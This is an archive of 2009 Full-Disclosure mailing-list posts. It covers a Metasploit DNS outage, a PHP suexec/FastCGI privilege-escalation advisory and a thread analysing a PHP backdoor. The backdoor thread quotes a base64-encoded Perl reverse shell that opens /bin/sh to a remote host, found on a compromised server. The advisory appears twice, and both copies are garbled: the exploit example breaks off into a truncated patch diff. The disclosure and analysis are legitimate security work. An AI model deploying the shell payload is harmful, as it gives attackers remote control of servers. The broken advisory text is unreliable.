> that's all fine and dandy. still can't reach port 80. > Have you tried using OpenDNS, etc. to see if it resolves? eg: host -t a www.metasploit.org *208.67.222.222 Perhaps your school/employeer/ISP has decided that Metasploit is off-limits. ~Mike.* ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] metasploit.com = 127.0.0.1
> that's all fine and dandy. still can't reach port 80. > Again .. not here (AS32818 in Cleveland, OH) .. ~$ wget -O - http://www.metasploit.org --10:52:43-- http://www.metasploit.org/ => `-' Resolving www.metasploit.org... 66.240.213.84 Connecting to www.metasploit.org|66.240.213.84|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 8,157 (8.0K) [text/html] 0% [ ] 0 --.--K/s http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd";> http://www.w3.org/1999/xhtml"; xml:lang="en"> The Metasploit Project ... ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] metasploit.com = 127.0.0.1
that's all fine and dandy. still can't reach port 80. On Wed, Feb 11, 2009 at 10:17 AM, Michael Holstein wrote: > >> .org is now being affected as well. >> > > Not here .. > > $ date > Wed Feb 11 10:17:01 EST 2009 > > $ host metasploit.org > metasploit.org has address 66.240.213.84 > metasploit.org mail is handled by 20 slug.metasploit.com. > metasploit.org mail is handled by 1 bogus.metasploit.com. > metasploit.org mail is handled by 30 core.metasploit.com. > > $ host metasploit.com > metasploit.com has address 66.240.213.81 > metasploit.com mail is handled by 30 core.metasploit.com. > metasploit.com mail is handled by 20 slug.metasploit.com. > metasploit.com mail is handled by 1 bogus.metasploit.com. > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] (no subject)
<> .org is now being affected as well. <> < http://www.gmx.net/de/go/multimessenger01 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] metasploit.com = 127.0.0.1
> .org is now being affected as well. > Not here .. $ date Wed Feb 11 10:17:01 EST 2009 $ host metasploit.org metasploit.org has address 66.240.213.84 metasploit.org mail is handled by 20 slug.metasploit.com. metasploit.org mail is handled by 1 bogus.metasploit.com. metasploit.org mail is handled by 30 core.metasploit.com. $ host metasploit.com metasploit.com has address 66.240.213.81 metasploit.com mail is handled by 30 core.metasploit.com. metasploit.com mail is handled by 20 slug.metasploit.com. metasploit.com mail is handled by 1 bogus.metasploit.com. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] metasploit.com = 127.0.0.1
.org is now being affected as well. On Wed, Feb 11, 2009 at 3:11 AM, alessandro telami wrote: > I'm seeing the same on my Network. > > Cyber-threats > > > Date: Tue, 10 Feb 2009 16:08:38 -0600 > From: vigilantgregor...@gmail.com > To: static...@gmail.com > CC: full-disclosure@lists.grok.org.uk > Subject: Re: [Full-disclosure] metasploit.com = 127.0.0.1 > > DDOS > > > On Tue, Feb 10, 2009 at 4:05 PM, sr. wrote: > > anybody else seeing this? > > can't get to metasploit because it's currently resolving to 127.0.0.1 > > sr. > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > > > Share your photos with Windows Live Photos - Free Try it Now! ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Local vulnerability in suexec + FastCGI + PHP configurations
DISCLAIMER: THIS SECURITY ADVISORY IS PROVIDED AS-IS, AND WITHOUT ANY
GUARANTEE OF ANY KIND THAT THE INFORMATION IS ACCURATE, OR THAT THE
WORKAROUND, SOLUTIONS, OR PATCHES PROVIDED WILL PROTECT SYSTEMS, OR THAT
THEY WILL NOT CREATE NEW PROBLEMS. THE AUTHOR ACCEPTS NO LIABILITY OF
ANY FORM FOR THE INFORMATION CONTAINED WITHIN OR THE CONSEQUENCES OF ITS
USE OR MISUSE.
Synopsis:
Most current installations of PHP set up to run via FastCGI with
suexec are vulnerable to a local exploit, where anyone with the ability
to run code as the user the webserver runs as can gain access as any
user with an account set up to run PHP. It is anticipated that this
issue will especially affect shared web hosts who use FastCGI + suexec
thinking it will give them additional security.
Conditions for exploitation:
=> PHP needs to be used via CGI or FastCGI.
=> The system must be set up to use suexec (rather than, say, having
PHP run as an external FastCGI server).
=> The attacker must be able to run code as the same user that the
webserver runs as. This is unlikely to be a problem for many local
attackers, because there are a multitude of possible attack vectors,
such as SSI, non-suexec CGI scripts, non-suexec PHP (if mod_php is also
installed), and likely numerous other options.
=> Depending on the configuration, setting an open_basedir might
protect an installation. However, this only applies if open_basedir is
set, php-cgi is not installed directly into the web space, but is
instead called from a script which doesn't pass any parameters from the
script command line.
Affected PHP versions:
=> All versions of PHP (including PHP 5.2.8 and latest CVS) in
existence at the date of this advisory are believed to be affected.
Vendor notification:
secur...@php.net has been informed of this issue. Antony Dovegal
replied to say:
"It's been agreed that we won't implement any more security hacks
in PHP itself since such things should be done by the OS, so no more
magic INI settings."
As such, it appears that the PHP developers do not intend to add any
technical measures against this vulnerability. It should be noted that
while this is a vulnerability in a way of installing PHP, it appears
that there is no way to securely set up a suexec + FastCGI + PHP
installation using an unpatched version of PHP and so it is hoped that
the PHP developers will reconsider in time.
Work-arounds:
A proposed patch is provided later which can be applied to PHP to
protect against this vulnerability (when coupled with an appropriate
configuration). This patch has been briefly tested to ensure it works,
but requires more testing and review before it should be used in
production. No guarantees are made about it.
Using a permanently running external FastCGI process per user is an
alternative solution if the cost of these extra processes is tolerable.
Setting open_basedir from within php.ini may be a possible workaround
(but only if nowhere in open_basedir is writable to the attacker), but
only if PHP is called from a script which also sets SERVER_SOFTWARE and
doesn't pass through the command line arguments. For example:
#!/bin/bash
export SERVER_SOFTWARE=blah
/usr/bin/php-cgi -c /home/myuser/php.ini
Technical details of attack:
PHP does not place any restrictions on what it will run, even when
called from suexec. This means that by manipulating the environment
variables passed in to php-cgi when calling via suexec, an attacker can
execute arbitrary PHP scripts with the user of the owner of the PHP
script (and if SERVER_SOFTWARE is not set, can also pass in PHP code to
be executed via stdin).
The filtering of environment variables by suexec does not protect
against this attack, because the environment variables needed to perform
the attack are passed through suexec. Likewise, setting doc_root and
user_dir in php.ini (as recommended in the security section of the PHP
manual) provides no protection, as the attacker has full control of
environments indicating the base directory.
Example of exploitation:
Suppose that suexec php is set up as follows:
In /home/wwjargon/public_html/php.fcgi we have:
#!/bin/bash
/usr/bin/php-cgi -c /home/wwjargon/php.ini
In .htaccess we have:
Action php-fcgi /php.fcgi
AddHandler php-fcgi .php
This is a fairly common set up. It can be exploited as follows (www-data
is the username the webserver runs as):
$ whoami
www-data
$ cat >/tmp/exploit.php
#include "win32/php_registry.h"
#endif
+#ifdef HAVE_PWD_H
+#include
+#endif
#ifdef __riscos__
#include
@@ -170,6 +173,10 @@
zend_bool impersonate;
# endif
#endif
+#ifdef HAVE_PWD_H
+char* suexec_base_dir;
+char* suexec_user_dir;
+#endif
} php_cgi_globals_struct;
#ifdef ZTS
@@ -1232,6 +1239,10 @@
STD_PHP_INI_ENTRY("fastcgi.impersonate", "0", PHP_INI_SYSTEM,
OnUpdateBool, impersonate, php_cgi_globals_struct, php_cgi_globals)
# endif
#endif
+#ifdef HAVE_PWD_H
+STD_PHP_INI_ENTRY("cgi.suexec_base_dir", NULL, PHP_INI_SYSTEM,
O
[Full-disclosure] Local vulnerability in suexec + FastCGI + PHP configurations
DISCLAIMER: THIS SECURITY ADVISORY IS PROVIDED AS-IS, AND WITHOUT ANY
GUARANTEE OF ANY KIND THAT THE INFORMATION IS ACCURATE, OR THAT THE
WORKAROUND, SOLUTIONS, OR PATCHES PROVIDED WILL PROTECT SYSTEMS, OR THAT
THEY WILL NOT CREATE NEW PROBLEMS. THE AUTHOR ACCEPTS NO LIABILITY OF
ANY FORM FOR THE INFORMATION CONTAINED WITHIN OR THE CONSEQUENCES OF ITS
USE OR MISUSE.
Synopsis:
Most current installations of PHP set up to run via FastCGI with
suexec are vulnerable to a local exploit, where anyone with the ability
to run code as the user the webserver runs as can gain access as any
user with an account set up to run PHP. It is anticipated that this
issue will especially affect shared web hosts who use FastCGI + suexec
thinking it will give them additional security.
Conditions for exploitation:
=> PHP needs to be used via CGI or FastCGI.
=> The system must be set up to use suexec (rather than, say, having
PHP run as an external FastCGI server).
=> The attacker must be able to run code as the same user that the
webserver runs as. This is unlikely to be a problem for many local
attackers, because there are a multitude of possible attack vectors,
such as SSI, non-suexec CGI scripts, non-suexec PHP (if mod_php is also
installed), and likely numerous other options.
=> Depending on the configuration, setting an open_basedir might
protect an installation. However, this only applies if open_basedir is
set, php-cgi is not installed directly into the web space, but is
instead called from a script which doesn't pass any parameters from the
script command line.
Affected PHP versions:
=> All versions of PHP (including PHP 5.2.8 and latest CVS) in
existence at the date of this advisory are believed to be affected.
Vendor notification:
secur...@php.net has been informed of this issue. Antony Dovegal
replied to say:
"It's been agreed that we won't implement any more security hacks
in PHP itself since such things should be done by the OS, so no more
magic INI settings."
As such, it appears that the PHP developers do not intend to add any
technical measures against this vulnerability. It should be noted that
while this is a vulnerability in a way of installing PHP, it appears
that there is no way to securely set up a suexec + FastCGI + PHP
installation using an unpatched version of PHP and so it is hoped that
the PHP developers will reconsider in time.
Work-arounds:
A proposed patch is provided later which can be applied to PHP to
protect against this vulnerability (when coupled with an appropriate
configuration). This patch has been briefly tested to ensure it works,
but requires more testing and review before it should be used in
production. No guarantees are made about it.
Using a permanently running external FastCGI process per user is an
alternative solution if the cost of these extra processes is tolerable.
Setting open_basedir from within php.ini may be a possible workaround
(but only if nowhere in open_basedir is writable to the attacker), but
only if PHP is called from a script which also sets SERVER_SOFTWARE and
doesn't pass through the command line arguments. For example:
#!/bin/bash
export SERVER_SOFTWARE=blah
/usr/bin/php-cgi -c /home/myuser/php.ini
Technical details of attack:
PHP does not place any restrictions on what it will run, even when
called from suexec. This means that by manipulating the environment
variables passed in to php-cgi when calling via suexec, an attacker can
execute arbitrary PHP scripts with the user of the owner of the PHP
script (and if SERVER_SOFTWARE is not set, can also pass in PHP code to
be executed via stdin).
The filtering of environment variables by suexec does not protect
against this attack, because the environment variables needed to perform
the attack are passed through suexec. Likewise, setting doc_root and
user_dir in php.ini (as recommended in the security section of the PHP
manual) provides no protection, as the attacker has full control of
environments indicating the base directory.
Example of exploitation:
Suppose that suexec php is set up as follows:
In /home/wwjargon/public_html/php.fcgi we have:
#!/bin/bash
/usr/bin/php-cgi -c /home/wwjargon/php.ini
In .htaccess we have:
Action php-fcgi /php.fcgi
AddHandler php-fcgi .php
This is a fairly common set up. It can be exploited as follows (www-data
is the username the webserver runs as):
$ whoami
www-data
$ cat >/tmp/exploit.php
#include "win32/php_registry.h"
#endif
+#ifdef HAVE_PWD_H
+#include
+#endif
#ifdef __riscos__
#include
@@ -170,6 +173,10 @@
zend_bool impersonate;
# endif
#endif
+#ifdef HAVE_PWD_H
+char* suexec_base_dir;
+char* suexec_user_dir;
+#endif
} php_cgi_globals_struct;
#ifdef ZTS
@@ -1232,6 +1239,10 @@
STD_PHP_INI_ENTRY("fastcgi.impersonate", "0", PHP_INI_SYSTEM,
OnUpdateBool, impersonate, php_cgi_globals_struct, php_cgi_globals)
# endif
#endif
+#ifdef HAVE_PWD_H
+STD_PHP
Re: [Full-disclosure] connect back PHP hack
Just as an FYI: Webscarab and Paros (web application proxies) both have a good Base64 decoder built-in. This is useful for any sniffed requested using basic authentication as well. --Justin On Tue, 2009-02-10 at 14:34 -0500, sr. wrote: > i really appreciate all of the responses. this is what community is all about. > > i'd seen the "==" in other encoding schemes, but just wasn't sure and > wanted a quick response...thanks to everyone who responded! > > I'll post the rest of my findings on here asap. i'm looking into an > old compromised machine. this is nothing new.. > > whoever mentioned the r57 shell, you're probably right as the script > connects to a remote box @ port 11457. this is r57 behaviour. > > i also found a copy of the same script i'm dissecting on someone > else's box, you can check it out here: > http://www.menola.org/~matjaz/images/info/o_meni/config.inc.php > > in my case, a bunch of php files were modified. i'll zip everything up > and host it so you can all analyze... > > thx, > > sr. aka "fabrizio siciliano" > > > > > > On Tue, Feb 10, 2009 at 2:10 PM, Gustavo Castro wrote: > > "Sr." > > > > This is base64 encoded. > > > > 2009/2/10 sr. : > >> can anyone tell me what encoding this is? > >> > >> $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj > >> aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR > >> hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT > >> sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI > >> kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi > >> KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl > >> OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; > >> > >> this has to do with old php 4.x.x version with magic quotes enabled. > >> i'm just trying to figure out what the connect back code does. > >> > >> any input is much appreciated. > >> > >> thx, > >> > >> sr. > > > > -- > > Saludos, > > Gustavo Castro Puig. > > E-Mail: gcast...@gmail.com > > > > LPI Level-1 Certified (https://www.lpi.org/es/verify.html > > LPID:LPI42304 Verification Code: hp6re8w5qg ) > > -BEGIN GEEK CODE BLOCK- > > Version: 3.12 > > GCS/CM/IT/ED dx s-:- a? C(+++)$ UL*$ P+ L(++)$ E--- W+++$ N+ o? > > K- w O M V-- PS PE++(-) Y-(+) PGP+ t(++) 5+ X++ R tv+ b++() DI+++ > > D++ G++ e++ h--- r y+++ > > --END GEEK CODE BLOCK-- > > Registered Linux User #69342 > > > > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
